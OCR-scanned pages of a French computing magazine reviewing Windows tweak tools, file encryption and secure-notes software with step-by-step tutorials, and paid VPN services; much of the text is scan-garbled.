Winaero Tweaker
PouR ToUT FAIRE. TOUT SIMPLEMENT

windaws 10 Taskbar  File Exploser | Universal UL This PC

System i
G ) Show Hisemate 2 Shew Slasp

[ Shew Sign Out [ ke 2 Opticns Fremm P
User Accounts.

Start Animations Windows 8/10Style

Disable Start Animations A Use Hew Battery Flyout

Vous pouvez comparer Winaero Tweaker

a Wikipédia. Les options offertes par ce

tweak tool sont infinies, a un tel point gu'il
seraitimpossible de toutes les lister dans ce
magazine | Mais puisque nous sommes gentils,
voici un petit ramequin, vous vous en ferez une
idée : modifier la transparence et la dimension
des fenétres, changer les couleurs et la taille
des menus, les animations de chargement,
compresser les icones, etc. Rajoutez a tout ca
une compatibilité Windows 10, 8 et 7 et vous
avez l'un des logiciels gratuits de tweak les
plus performants du moment.

Lien: https://winaero.com

unw

27 7ir " Reset this page to defaults

&

- et Eihemet as Meter
i wap TCP/IP Router
v 51 User Accounts
o By it Administrator
My Disable UAC
Mg Enable UACfor Buits
v/ Windows Apps
j T Activate Windows P
i 884 Disable Windows Def
i e Mecrosoh Edge Downl
S | Stop Unwanted Apps

&8 Windows Defender Tr v

‘® " Stop Unwanted Apps

See in detail how this tweak works
[ Stop unwanted apps that Windows installs autom;
Deacrption
Windows 10 automaticaly installs apps from the

Store because t wants to promote some of them.
are installed for the currertly signed-

0 user
connected to the intemet, Windows 10 will downid

e 3 runber o S dppe macracaty. The

these Metro apps or Liniversal aops suddeny shov
Winderws 10 St Merws wh a pogess bar nden
they'e being dowrioaded Cans, Gush Soda Saq
are good examples of those apy
Tkt oo absove to isable this armcying feof

" 5 Use Naw Wohume Cortrel
Security & Privacy Enable Stas Animations

Internet Explorer 8 Show Command Prompt Instead of PowesShell In Wine X Wienu

Contest Menus Of Desktop And File Explorer

on

Context Menu i

Additional Customizs Inaciive Tile Bar Color:  Click Te Change

Micresalt Edge

>

The WIindows CIUD  meses nothing to show right newm. Just hover over 2 supparted tweat to see fs descrpt

Microcft fge Default Dorwriosd Location:
Adjust Tab Preview Show Deiny: ]
Adjust Tab Preview Hide Delay: ]

[J Dissble Edge Tab Preview

Create Restore Peint Restore Defauits

Ultimate Windows Twea-

ker —> LE POIDS PLUME DES TWEAKERS

Avec 495 Ko au compteur, Ultimate Windows
Tweaker est L'un des logiciels de tweak les plus
légers du marché. Léger peut-étre en poids,
mais pas en fonctionnalités ! Il offre pres de 200
outils pour modifier votre OS a votre guise. Les
champs d'actions sont variés : tweaks dédiés a la
sécurité, ala confidentialité, aux performances,
aux fonctions de recherche, etc. Pas suffisant ?
Pourguoi changer toute l'apparence de votre
bureau ? Ultimate Windows Tweaker le fera pour
vous. Seul bémal, le logiciel n'est gu'en anglais.

Lien  https://frama.link/Da_h_fVf
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Windows File ToolsS > SurveiLLez L'acTiviTE

NOTRE TUTO

s COMMENT FONCTIONNE
WINDOWS FILE TOOLS ?

Bl Clear Events

W it s s s s sy

¥ Hide Events List
FILE EXTENSION WHITELIST

erver g vl

B Exclude selected path

F—]
01 ) PREMIER PAS... 0 2 ) OPTIONS ET FILTRES
Le logiciel ne nécessite pas d'installation, Pour démarrer le suivi et l'enregistrement
mais il requiert des droits administrateur. de l'activite dans le journal, vous pouvez faire Start,
Dans l'archive, vous trouverez une version pour les mais avant, allons faire un tour dans les options.
0S 32 hits et une autre pour les systemes 64 hits. Ici vous pourrez choisir quel type d'activité monitorer,
Apres le démarrage, cliquez dans le menu mais aussi définir un chemin dans votre systéme
Phrozen pour passer au francais si vous le désirez. (Path to Monitor) ou a l'opposé en exclure un.
0 JOURNAL
o Une fois lancée, la fenétre du bas va afficher les modifications.
0 e e e Parfois, le systéme réagit tout seul a certaines taches automatiques.
| S e Pour y vair plus clair, le logiciel ajoute des codes couleurs en face de
|| tnm e chaque événement : vert pour la création d'un fichier ou d'un dossier,
‘ ;‘;; el rouge pour un effacement, gris si un élément est renomme et bleu pour
| i_:;::: une modification ou un changement d'attribut : lecture seule, archive,
R i fichier caché, fichier systéme, etc. A vous de jouer avec ces options pour
B ottt trouver ce qui cloche dans votre Windows ou pour vous rassurer...
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PROTEGEZ votre vie privée avec un VPN
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pes DONNEES

Les meilleures adresses pour empécher guiconque d'accéder a vos données,

privées ou professionnelles, sans votre accord.

TI.Irtl —> NOTES CONFIDENTIELLES

Microsoft OneNote ou Google Keep pour ne citer que les plus connus, de nombreux

"~ \OR o
NORETY

GANSLESPRGES
SUNANTES

services et applications permettent de prendre des notes, stockées dans le Cloud. Ce qui pnsé
évidemment un probleme de sécurité. La particularité de Turtl, c'est que vos données sont chiffrées,
donc illisibles tant pour d'éventuels pirates que pour les propriétaires du service lui-méme.

Lien : https://turtlapp.com

CryptPad

TRAVAILLER EN PRIVE

Vous connaissez Google Drive, la suite
bureautigue collaborative de Googles?
CryptPad en reprend le principe, mais de
maniére chiffrée. Vous obtenez ainsi un
éditeur de texte, un planificateur de réunion
via sondage, un éditeur de code ou encore de
présentation diaporama. Décidez avec qui
vous partagez les documents, et quels sont

leurs droits dessus (modification ou lecture).
Lien : https://cryptpad.fr

¥ cryptPad
4 1 éaiteur ® 0 lecteurs ~

AEEE o)== nomsolsflus

[ File Lock

Fovea | Lste e FE TS0

File Lock s

web applieation that sllows vsers Lo encryp file, File Luck uses AES-256, which & an industry.
data - even Keap in mind that longs

comensare

Voici CryptPad, éditeur collaboratif en temps-réel Zero Knowledge. Tout &

Partagez le lien vers ce pad avec des amis ou utiisez e bouton

File Lock — CHiFFREMENT EXPRESS

Besoin de chiffrer un fichier rapidement ? Ne
vous embarrassez pas d'un logiciel complexe et
passez par le site File Lock. Importez le fichier,
entrez un mot de passe (attention, il n'existe
aucun moyen de le récupérer si vous l'oubliez) et
validez. Pour déchiffrer ensuite le fichier, méme
technigques:il faut l'envoyersur le site et donner
le code.

Lien: www.filelock.org



PRENEZ VOS NOTES

J00101110100110101101000010110101010100110101010110 CHIFFREMENT 0101

EN TOUTE SECURITE AVEC TURTL

8 Turnl

(Optional) Enable sharing by creating a persona
@yopmail com
Gérard Menvyf Ceci est une note sécurisée
J'écris cette note pour noter mes notes|
Skip triis step
01 ) ACTIVER LE PARTAGE 0 ECRIRE UNE NOTE
Cliquez sur le «<s+s» en has a droite puis

Turtl autorise le partage de notes
avec vos collaborateurs. Il vous faut activer la
fonction lors de la création de votre compte.
Apres avoir renseigne les informations usuelles,
il faudra entrer de nouveau l'adresse mail
utilisée et un alias (le nom que verront les gens
avec qui vous partagerez des notes). Validez avec
Enable sharing.

Bookmarks
o nates

‘‘‘‘‘‘

Save for later Edit @
Delete

Share this board

sur Text note. Entrez un titre (Title) et votre
texte (Note text). Un apercu de la note peut étre
activé avec l'eil en haut a droite. Cliquez sur le
crayon qui prend sa place pour quitter 'apercu.
This note is note in any boards permet de
['assigner a un dossier (voir étape suivante).
Cliquez sur l'étiquette pour ajouter des mots-
clés. Terminez avec Save.

Invite to "Save for later”

jeanlemeule @voilou. de|

jeaniemeule@vi is not a current Turtl user This share will happen over email It's recomms
# Protect this invite ~

moldepasseultrasecret

This passphrase is used to encrypt the invite. You can communicate it to the invitee via

0 CREER DES DOSSIERS

Les «shoardss» sont des dossiers
dans lesquels vous pouvez ranger vos notes et
fichiers. Par défaut, quatre sont disponibles,
mais avec des noms anglais. Allez sur l'onglet
Boards et cliguez sur les trois points puis Edit
pour changer le nom. Create nested board
sert a créer un sous-dossier. Pour créer un tout
nouveau board, utilisez le «s+s». N'oubliez pas de
valider avec Edit ou Create.

Ol" ) PARTAGER UNE NOTE

Vous partagez en fait le board
contenant les notes. Allez sur l'onglet Boards,
cliguez sur les trois points a droite de celui de
votre choix puis Share this board. Changez
le sujet du mail si besoin (par défaut Invite to
«s[nom du board]s») et entrez les adresses
mail. Pour protéger l'accés par un mot de passe,
cochez Protect this invite. Validez avec Invite.
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Boxcryptor

| NOTRETUTD

box DANS LESPASES
suw ANTES

—> SEcurisez voTre CLoub

& Google Dr .
g Drophox e Les documents que vous stockez sur un service en
ligne pourraient tomber en de mauvaises mains. Mieux
vaut chiffrer vos fichiers avant de les envoyer dans le
) Cloud. Pour réaliser cette opération de facon simple
L= et rapide, essayez Boxcryptor. Celui-ci s'intercale
| entre votre PC et le service de Cloud, et vous propose
automatiguement le chiffrage des fichiers que vous
expédiez vers ce dernier. Il suffit de valider.

B

Lien: www.boxcryptor.com

Standard Notes

—> NOTES SECURISEES

Ceci est un texte secret.

SiTurtl, présenté dans les pages qui précedent,
ne vous convient pas, mais que le concept
de notes sécurisées vous intéresse, essayer
Standard Notes. Plus simple, méme si moins
” complet dans sa version gratuite, le service

A256.CODESECRET chiffre toutes les notes stockées en son sein
e e de sorte gue méme les créateurs de Standard
Notes ne peuvent les lire. Disponible sur toutes
les plateformes.

Lien: https://standardnotes.org

Crypo

Toer # Complete fascination
— POUR UN SIMPLE MESSAGE .oom s S
fom n B The us, 3o we're provi

Le site crypo.com propose de chiffrer du texte a L'aide R Y P ———— g;;::,:"lf’g
de nombreuses méthodes, plus ou mains populaire = 3 Bl o)
(comme e morse). Choisissez-en une, en vous ireiation s, T
assurant gu'elle comprend un champ pour entrer ::E'T;.P"‘”““‘"*“’ °m‘?‘n.’”:‘§
une clé de décryptage, puis saisissez le texte avant a;.,‘m Y
de cliguer sur encrypt. Pour déchiffrer le message, i TR ?f:jw,:“,"‘*’i:’;
le destinataire devra se rendre sur la méme page que o T Ll
vous, coller le texte codé, taper la clé que vous Lui e
aurez communiguée, et valider avec decrypt. '::.:jm’..':‘i:.::mm.......

Lien: www.crypo.com
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CHIFFREZ VOTRE CLOUD

. ». AVEC BOXCRYPTOR

Boscryptor settings =
& Locations | &% Groups |; Account |G Advanced |

Manage locations

O & OneDrive

C\Users

Dropbax Rer
2 & e pli

A Google Drive
o & \user\Goagle Diiv

Boxcryptor

Do you want to encrypt? 0
You are creating an unencrypted file or folder. Do you want to
encrypt it?

Fichier Top Secret.doc

0 ANALYSERUNLIEN

Ouvrez Ordinateur, faites un clic droit
sur le disque virtuel Boxcryptor puis choisissez
Boxcryptor > Parameétres. Sous Locations,
vous trouvez les services de Cloud disponibles
sur votre PC. Si Drophbox n'y figure pas, décochez
le Cloud utilisé s'il y en a un, puis cliquez sur
Add. Sélectionnez Dropbox et appuyez sur OK.
Assurez-vaus que la boite de dialogue a coté de
Dropbox est cochée.

Ouuri avec

0 3 ) CHIFFRER OU DECHIFFRER
APRES COUP
Dans le disque virtuel Boxeryptor du dossier
Dropbox, faites un clic droit sur le fichier
concerné. Dans Boxeryptor, apparait l'option
Chiffrer ou Déchiffrer. Dans le cas d'un
chiffrement, la méme boite de dialogue qu'en
étape 2 apparait. Pour un déchiffrement, cliquez
sur Yes afin de confirmer votre action.

0 CHIFFRER UN FICHIER

LORS DEL'AJOUT
Une fois que Boxcryptor est lié a Dropbox, vaus
retrouvez un dossier Dropbox sur le disgue virtuel
Boxcryptor. Ajoutez un fichier dans ce dossier et
Boxcryptor vous demande si vous voulez le chiffrer
(Encrypt). Vatre fichier est ensuite accessible
«sen clairs» via le disque virtuel, mais il apparait
chiffré sur Dropbox.

Add User

Grant access for the following user:

trucs&astuces@gmail.com

0“) PARTAGER UN FICHIER
CHIFFRE
Afin d'autoriser vos contacts a ouvrir vos fichiers
chiffrés, ceux-ci doivent disposer d'un compte
Boxcryptor. Si tel est le cas, faites un clic droit
sur le fichier et choisissez Boxcryptor > Gérer
les utilisations. Cliquez sur Add User et entrez
l'adresse mail des personnes. Vaos contacts ont
désormais acces a votre fichier chiffré via leur
compte Boxcryptor.
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PROTEGEZ vos
DONNEES LOCALES!

-
VOIR
{ NOTRETUTO

. o . DANSLES PRGES
TruPax vous permet de chiffrer vos fichiers et dossiers SUIVANTES

sensibles. Sous une interface un peu minimaliste, il
s'avere simple a utiliser, puisqu'il suffit de faire glisser

les fichiers ou dossiers a protéger dans la fenétre
du logiciel, avec la souris. Il suffit ensuite d'indiguer
l'emplacement du conteneur chiffré et de taper un
|

Trupax —> CHIFFREZ VOS FICHIERS PRIVES

mot de passe. Bien entendu, il faut repasser par le
logiciel pour déchiffrer les données.

Lien : www.coderslagoon.com

\IeraCrypt LA REFERENCE ’ Turtl — Prise be NOTES SECURISEE

POUR CHIFFRER VOS DONNEES

De nombreux services et applications
permettent de prendre des notes, stockées dans
le Cloud. La particularité de Turtl, c'est que vos
données sont chiffrées, donc illisibles tant pour
d'éventuels pirates que pour les propriétaires
du service lui-méme. Ce qui n'empéche pas le
partage, sécurisé évidemment. Téléchargez

TruPax vous permet de chiffrer vos fichiers

et dossiers sensibles. Sous une interface un
peu minimaliste, il s'avere simple a utiliser,
puisqu'il suffit de faire glisser les fichiers ou
dossiers a protéger dans la fenétre du logiciel,
avec la souris. Il suffit ensuite d indiquer etinstallez le logiciel client sur votre PC, et

lemplacement du cnntepeur'chiffre e_t de l'appli pour en profiter aussi sur votre téléphone
taper un mot de passe. Bien entendu, il faut Android

repasser par le logiciel pour déchiffrer les
données.

Lien: www.veracrypt.fr

Lien: https://turtlapp.com

& Editing text note

Volume Format Ceci est une nole sécurisée
Optars
o et O 12 IQieros J'écris cette note pour noter mes notes|
4
ool cosceiosmenseermse e sciszess ) SRt Fs
Header Key: 303341 08 F49D1CABACEFEGBAOB. . ormatung help
"os!v‘(cy 4385H10066&!9!23F325EEO€DCN521 n pe
£ — § (o]
% Do AL38%  Speed| DaMEE Lk Brnie ‘, ®
(9] ave
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CHIFFRER FICHIERS ET DOSSIERS

File Hep

File Add Files...
SecretiSeret Ldoc

Add Folde..

File Help
Fie [T
S e
Secret\Secret 2.doc
[ inchude Subfolders
[JStore Full Poth
Mo merging.
_ow ]
Feespsee

DEPOSER DES FICHIERS

Téléchargez TruPax, décompressez
le dossier, et lancez install.vhs. Double-cliguez
sur le raccourci créé sur le bureau et choisissez
la langue anglaise. Faites un glisserdéposer des
éléments a chiffrer dans la fenétre principale ou
cliquez sur Add Files (fichiers) ou Add Folder
(dossier). Intégrez les sousrépertoires en cochant
Include Subfolders.

[ include Subfokders
[ stove Fust patn
Ho merging
_Clean

e Space:
[ []
Labek

O virne-protected
] Wipe Afterwards
I For VeraCrypt

) COMPRENDRE LES OPTIONS
No Merging signifie que les éléments

ne seront pas comhinés lors du chiffrement

(dans le cas ol les noms des dossiers seraient

les mémes par exemple). Free Space permet

de garder un peu de place pour ajouter des fichiers

ou pour des mises a jour. Cochez Wipe Afterwards

pour effacer les éléments qui auront été chiffrés

de leur répertoire d'origine.

Adi Fles
el Felder..
2 include Subboders
[ Stoe Ful Path
o merging
s
[T x|

Entes the password you wish ts use, and sl confirm it

[Srr—— - I
[ Cache Pessverd ancel | et ||

0 Write-protected
> 1w -

T—

18 Trupax
File Help

File

Please select X

@ ‘What would you like to do with this volume file?

Extract | Invalidate |

| Add to Selection

CHIFFRER
Lorsque tout est prét, cliquez sur
Make Volume. Choisissez un dossier, tapez un nom
pour le conteneur crypteé et faites Enregistrer.
Spécifiez un mot de passe et validez avec Proceed.
Cocher Cache Password l'enregistre sur
le PC pour ne pas avoir a le retaper (attention
gue personne d'autre n'y acgéde) et surtout
garde le mot de passg en cas de panne.

) DECHIFFRER

Vous obtenez un fichier en .te. Pour le
décrypter, cliguez sur Clear dans TruPax et glissez-
déposez le fichier .te dans la fenétre. Extract
extrait le tout, tandis que Invalidate détruit la clé,
ce qui empéche quiconque (méme vous) d'accéder
au contenu. Utile en cas d'oubli du mot de passe.
Faites Extract, spécifiez 'emplacement, tapez
votre mot de passe et validez avec Proceed.




AXCrypt — SimpLE coMME BONJOUR !

Alors que VeraCrypt propose tout un
arsenal pour chiffrer vos données sensibles
(création de conteneurs cachés, sauvegarde
incrémentielle compactée, etc.), AxCrypt

va au plus simple. Le logiciel ne comporte
méme pas d'interface graphique, toutes les
fonctionnalités sont accessibles via le menu
contextuel du clic droit. En effet, lors de
l'installation, AxCrypt aura ajouté quelques
entrées dans ce dernier. Il suffit de pointer
un dossier ou un fichier puis de faire un clic
droit pour voir apparaitre : Crypter, Crypter
et créer un exécutable et Brouiller et

VOR o
NOTRETU
DANSLES PAGES
SUNANTES

Quvrir

- 'W'r

Nouveau - 4
Imprimer ‘} wdf/ 'i-‘ rf‘
1-Zip >
&) Analyser Benoit.doc -_
AxCrypt | Cryplet
Ouvrir avec v Crypter et copier
Crypter et créer exécutable
Partager avec =

C Eff; toutes les clés
Restaurer les versions précédentes stk

Créer fichier-clef
Envoyer vers »
Brouiller et supprimer
Couper
Copit A propos
| Langue »
B [

supprimer. La deuxieme option permet d'envoyer un document a une personne
qui ne possede pas le logiciel tandis que la troisieme va effacer toute trace du fichier/dossier
cible en réécrivant des données aléataires a son emplacement d'origine.

Lien: www.axcrypt.net/fr

" VOR

4 | NOTRETUTO
Toucan — Pourvos cLés USB L' ANSLESPAGES
SUIVANTES
Toucan est une v
Sync gacan | () seare | "§. Rues | . Porubevaaes | WL sawt

solution de M L2 9 =t e =
sauvegarde pour =Job Name ~Other =

7 - @ copy {8 Retan Timestamps
vos cles.USB My Docs J(@) [ (=] e =i
ou vos disques Orera o) g oy
durs externes. Qo L) e ot aves
Avec ses modes
de sauvegarde Source Destnaton
différentielle, g [om) \
compléte ou - Hde 0 -Ew °

. \ow + appdats + SRECYCLE.BIN
par mise a jour, +Em l '5 Scotioht 4100 '
Toucan permet b gy Q@ | - gmm;asm @

& 1 frysrebate.pdf +* data
de créeret e IR i
restaurer vos - Fovwerpriii . g oSN °

sauvegardes sous

forme d'archives aux formats zip ou 7-zip. Pour sécuriser vas données,
le programme ajoute un chiffrement AES-256 depuis 'onglet Sécurité.

Lien ; https://toucan.fr.softonic.com
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CHIFFRER FICHIERS ET DOSSIERS

AVEC AXCRYPT

ar| [ Wesiies vatre AdCryp = =
ver  aide Vious &tes enregistré en tant que tgerard@libertysurt.ir,
n codle i vérification a & chiffres vous a éte envoys
1| AXCrypt par emai.

Code de vérification

srécents Dossiers® (033330 Viérifiez vos boites de réception et de spami

Obtenez
[Premium!

jer |
Nouveau Mot de Passe

Faible

Wérifier Mot de Passe.

I

DEFINIR UN MOT DE PASSE

Installez AxCrypt, cliguez sur
Lancement, puis activez le logiciel en donnant
votre adresse mail et en saisissant le code
de vérification recu. Définissez ensuite un mot
de passe solide (lettres, chiffres, caracteres
spéciaux), a retenir soigneusement : si vous
l'oubliez, vos données chiffrées seront
irrécupérables ! Un essai de la version Premium
(payante) vous est ensuite proposé : pour rester
alaversion gratuite, cliquez sur Passer.

Files 2 Folder
TZin
1 Aot
EEl Anslyser avec Windows Defender...

@, What s locking this file?

2 Partager
Ouvrir avec... Suppression sécurisée

) Examiner svec Makwarebyles Se deconnecter
B Unlocksr Aprecs

Restaurer las cédent

) DECHIFFRER
Une fois chiffrés, les documents

apparaissent sous forme d'icone AxCrypt,
avec l'extension .axx. Il n'est pas nécessaire
de les déchiffrer pour les ouvrir, un double-clic
dessus suffit, comme d’'habitude. Si toutefois
vous deésirez annuler le chiffrage d'un document,
faites un clic droit dessus puis AXCrypt >
Décrypter. Comme a 'étape précédente,
le mot de passe ne vous est pas demandé
tant que vous étes connecté.

Avance

Ouvrir
Modifier
Nouveau
Imprimer
Files 2 Folder
7-Zip

M AxCrypt >

[ Analyser avec Windows Defender... umnek

& What s locking this file?

Suppression sécurisée

8 Partsger Se déconnecter

) CHIFFRER FICHIERS

ET DOSSIERS

Vous pouvez ensuite fermer la fenétre AxCrypt.

Le logiciel reste actif en arriere-plan, comme

en atteste sonicone, al'extrémité de la barre

des taches (un double-clic dessus rouvre la fenétre).
Désormais, pour chiffrer un fichier ou un dossier,

il suffit de faire un clic droit dessus et de choisir
AxCrypt > Crypter. Tant que vous restez connecté
avotre compte AxCrypt via Internet, le mot de passe
ne vous est pas redemandé.

Avancé
Déconnexion
Quitter

) SEDECONNECTER
Sivous arrétez L'ordinateur,

la connexion a votre compte AxCrypt est
interrompue, et le mot de passe vous sera donc
demandé si vous tentez par la suite d'accéder
a des fichiers protégés. Mais si vous laissez
votre PC en veille, ces derniers restent librement
accessibles a toute personne ayant acces
alamachine ! Pour éviter cela, cliquez sur l'icane
AxCrypt, a lextrémité de la barre des taches,
et faites Déconnexion.
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¢ PROTEGEZ LE CONTENU DE
VOS CLES USB AVEC TOUCAN

1 am * CePC » YANNUSB (F)

% Favoris N
B Bureau
%3 Dropbox
# Emplacements récents
& Téléchargements

5

Fichiers  crypter
Madbeb2da7 A 55 CD du nouveau pirate top sec
) meme Yannipg
|| montagefalajpg
a pourtest “.| | Montagefala2.png
formation

|84f-A3F2-A1755286C0AT) |¢|
=]

o Groupe résidentiel (] d“‘::“s\:::tpiml Toucan
™ CePC mtetu;-)secmt
= Bureau formation
7| Documents
3 PREPARER LA CLE SELECTIONNER LE DOSSIER

Téléchargez Toucan via le lien ci-contre,
et double-cliquez sur le fichier récupéré. Un dossier
Toucan est alors créé : copiezle sur votre clé USB.

Puis, placez tous les fichiers a protéger présents sur

la clé dans un seul et méme dossier. Vous pourrez
ainsi tous les crypter en une seule opération.

QOuvrez le dossier Toucan présent sur
la clé, puis faites un double-clic sur le logiciel
pour le lancer. Rendez-vous dans L'onglet Sécurité.
Sélectionnez le dossier a crypter dans la colonne
de gauche et cliquer sur le bouton +: il passe alors
dans la colonne de droite.

Q Sécurité _§' Regles | Varisbles [ E’ Script ;*"

En cours

F

.1
|6-01-08

Mot de passe

|Q5écunté § Reg[es‘&\fimbtesly Scnptl

Fonction
(O Crypter
(® Décrypter Rafraichir
Fichiers a décrypter

s » 7 " 5 CD du nouveau pirate top secret
ordinateur : PC-MONTAGE Confirmer le mot de passe | sessss i meme Yann jpg.cpt
| | montagefala.jpg.cpt
oK e L[| Montagefala2.png.cpt
1755286C0A7} +
) CHIFFRER LES DONNEES ACCEDER AU CONTENU

En haut de la fenétre, veillez a ce que
la mention Crypter (dans Fonction) soit cochée.
Puis cliquez sur Exécuter. Définissez un Mot
de passe solide, comprenant si possible des
caractéeres spéciaux, des chiffres, des majuscules
et minuscules. Confirmez et validez par OK.

g

Les fichiers cryptés sont désormais
impossibles a ouvrir (extension de fichiers .cpt,
iLlisible). Pour les déchiffrer, lancez Toucan,
allez & longlet Sécurité, et répétez les étapes 2 et 3,
mais cette fois-ci, cochez Décrypter dans Fonction
avant de cliquer sur Exécuter, Tapez le mot
de passe, puis cthuez sur OK pour rendre
vos fichiers |5|bl§5 /




LE MAILING-LIST OFFICIELLE de

_Pirate Informatique et des Dossiers du Pirate

‘ : De nombreux lecteurs nous demandent chaque jour s'il est possible de [ e T;T_‘/_:\a(’i‘}l:
s'abonner. La réponse est non et ce.n'est malheureusement pas de notre Dy “’Lﬂl 18 \“_\\ [P
- faute. En effet, nos magazines respectent la loi, traitent d'informations liées t‘ﬂj\lu \ :

au monde du hacking au sens premier, celui qui est synonyme d'innovation, —iL-—-=
“de créativité et de liberté. Depuis les débuts de I'ére informatique, les hackers
sont en premiére ligne pour faire avancer notre réflexion, nos standards et nos usages quotidiens.

*Mais cela n'a pas empéché notre administration-de référence, la «Commission paritaire des

% _publications et agences de presse» (CPPAP) de refuser nos demandes d'inscription sur ses

i registres. En bref, ladministration considére que ce que nous écrivons n'intéresse personne

et ne traite pas de sujets méritant débat et pédagogie aupreés du grand public. Entre autres
“conséquences pour la vie de nos magazines : pas d'abonnements possibles, car nous ne pouvons

; pas bénéficier des tarifs presse de la Poste. Sans ce tarif spécial, nous serions obligés de faire

" . payer les abonnés plus cher | Le monde a l'envers...

. La seule solution que nous avons trouvée est de proposer a nos lecteurs de s'abonner a une
‘mailing-list pour les prévenir de la sortie de nos publications. Il s'agit juste d'un e-mail envoyé a
. tous ceux intéressés par nos magazines et qui ne veulent le rater sous aucun prétexte.

4" Pouren profiter, il suffit de s'abonner ! - :
-directement sur ce site x O\(l lj \’ l'.'\l, !
~http://eepurl.com/FLO0D

- ‘(le L de «<FLOOD» est en minuscule)
‘ot de scanner ce 'QR Code avec votre smartphone...

La rédaction se dote d'un compte Twitter !
twitter.com/ben_IDPresse

Vous trouverez des

news inédites, des : " o
liens exclusifs vers des ‘

articles au format PDF ’

et nous vous tiendrons o

aussi au courant de la
sortie des publications.
Rejoignez-nous!

TROIS BONNES RAISONS DE S'INSCRIRE :

Soyez averti de la sortie de Pirate Informatigue et des
Dossiers du Pirate en kiosques. Ne ratez plus un numéro !-

Vous ne recevrez qu'un seul e-mail par mois pour
vous prévenir des dates de parutions et de ['avancement
du magazine. .

Votre adresse e-mail reste confidentielle et vous pouvez
vous désabonner trés facilement. Notre crédibilité est en jeu

Votre marchand de journaux n'a pas Pirate Informatique ou Les Dossiers du Pirate?

Sivotre marchand de journaux n'a pas le magazine en kiosque, il suffit de lui demander (gentiment)
de vous commander l'exemplaire aupres de son dépositaire. Pour cela, munissez-vous du numéro de
codification L12730 pour Pirate Informatique ou L14376 pour Les Dossiers du Pirate.

an ala loi «mfarmat/que et ltberfes» du 6 janvier 197_@:

rti.rz‘ d acces etde rectrﬂcatmn aux information$ qu.' vous concgfnent
¢ 3

v L [
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PROTEGEZ

AVEC UN VPN

Réservés aux experts il y a encore quelques années, les VPN se
démocratisent et tirent les prix vers le bas...

T

France

O

CONNEXION VULNERABLE
SOUS SURVEILLANCE

Connexion
Non Securisé

T Moi aprés

™

NordVPN'

Connexion
Securisé

France
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" \OR

. | NOTRETUTO
NordVUPN - LavaLeur sore ' JANSLESPAGES
SUNANTES

NordVPN fait beaucoup parler de lui

en ce moment, avec une campagne

de pub trés agressive. Et il tient ses
promesses, avec un service performant
et trés complet, et une interface simple
et facile a prendre en main. Petit point
faible : certains parametres mériteraient
guelques explications pour guider les
néophytes. Heureusement, nous allons
voir de quoi il retourne un peu plus loin.
Notez que Les prix sont dégressifs. L'offre
la plus intéressante est celle gui vous
fait vous engager sur 3 ans pour un peu plus de 2 € par mois. Il faudra cependant payer 94,54€ en une
seule fois pour profiter de NordVPN sur cette période. Pour ce prix c'est 6 appareils que vous pouvez
protéger. Vous avez de toute fagon 30 jours pour vous faire rembourser si cela ne vous convient pas.

Lien: https://tinyurl.com/y2jh7emk

POURQUOI PAYERUNVPN ?

Bon nombre de VPN sur PC se présentent
comme gratuits. IL faut voir au-dela et étre prét
ase délester de quelques euros pour profiter
réellement des services rendus par un VPN.
Dans la plupart des cas, un VPN gratuit vous
donne acces a un volume limité de données par
jour (on ne fait pas grand-chose avec 500 Mo
de trafic), le tout sans choix de serveur ou

avec Lillusion du choix. Siles VPN sérieux sont
payants, il y a bien une raison. En souscrivant a
certaines offres gratuites, ne soyez pas surpris
de voir de la pub apparaitre dans l'interface du
VPN. Dans le pire des cas, la grande majorité des
VPN revendent vos coordonnées directement..
un comble pour un service censé garantir votre
anonymat. Sachez également que les VPN
gratuits sont souvent saturés. Sivous comptez
utiliser régulierement un service de ce type,

Lmieux vaut passer a la caisse.




ﬂTUﬂUlMHﬂlDﬂHMMH1010101{]1 101010

Static & Safe

Dedicated IPs

DEDICATED IP
CHANGE ODE

23 Dashboard

® Gravity

Connect

CyberGhost

— RAPIDE ET EFFICACE

Légérement derriere NordVPN et PureVPN,
CyperGhost est l'un des piliers sur le marché
des VPN. Avec une interface intuitive et jolie,
mais également parfaitement traduite, il a tout
pour séduire ! Son point fort ? Des serveurs
dediés au streaming, spécialement optimisés

s0ene
UL

115 i1

(e
il
i |1%

0

i
43

hec

pour visionner les contenus en ligne sans
ralentissements. Comme partout, la qualité se
paye : 63,48€ pour un abonnement d'un an, ou
88€ pour un abonnement de 3 ans.

Lien:
https://www.cyberghostvpn.com/fr_FR/

PureVPN

—> L'OUTSIDER QUI FAIT PARLER DE LUI

C'est une entreprise basée a HongKong qui se
cache derriere PureVPN, le concurrent direct et
acharné de NordVPN. Et elle se donne les moyens
de ses ambitions, notamment gréce a l'ajout
fréquent et rapide de nouvelles fonctionnalités.
Un paramétrage par type d'usage, des serveurs
speciaux pour accéder aux replays des chaines
étrangeres, des ping-tests... Les possibilités sont
vastes! Le prix ? 62,04€ pour un an, 71,28€ pour
2ans.

Lien: https://www.purevpn.fr

ExpressVPN

—> SIMPLICITE ET SOBRIETE

Comme son nom l'indique, le point fort
d'ExpressVPN, c'est la vitesse. Tous les tests
l'affichent en haut du tableau sur ce critére.
En revanche, vous ne trouverez pas de tri des
serveurs en fonction du type d'usage, et si
l'interface est sobre, il faudra fouiller un peu
pour trouver votre banheur. Pour contourner
cela, ExpressVPN incite a installer les
extensions navigateur, et ainsi ne pas avoir
besoin du client, ExpressVPN est a 99,84€
pour unan.

Lien : https://www.expressvpn.com/

Dashboard
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VyprVPN — Laquaure Suisse

VyprVPN peut paraitre un peu léger : pas de type de serveurs par usage, impossible de chaisir un
serveur en particulier dans un -

pays... Alors quels avantages ? Vyprvpn

Une interface en francais, des S— 'Y‘
fonctionnalités détaillées GannscoTPe Al
explicitement, et des serveurs
rapides. Un audit externe

a également confirmé que
VyprVPN ne conserve pas les
données de ses utilisateurs:
hourra pour 'anonymat !
Comptez 47,50€/an pour le
forfait de base, 65€/ an pour le
premium.

Connected GpenVBN 286.bit Encryption
00:00:28

o
VyprONS

Lien:
https://www.vyprvpn.com/fr

HideMyASsS ! -> Le VPN p'Avast

HideMyAss ! c'est le VPN qui fonctionne, littéralement, en 3 clics. A L'ouverture : un bouton de
connexion, et 3 onglets pour choisir son type de serveur. Pas de fonctionnalités avancées ici,

de paramétrages sans fin, ce VPN va droit au but et simplifie la vie de ses utilisateurs. Dans la
moyenne haute des tarifs, |'abonnement d'un an vous colitera 71,88€, et celui pour 3 ans 143,64€.

Lien : https://www.hidemyass.com/fr-fr/index
=& HMA! Pro VPN

Secure internet encryption

[ pashboara SecureIP Bind

1P Binding Cartrd

€} Country selection (@)
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IPVanish  L'avanTace bE L'Ace

Lancé en 2012, IPVanish . "
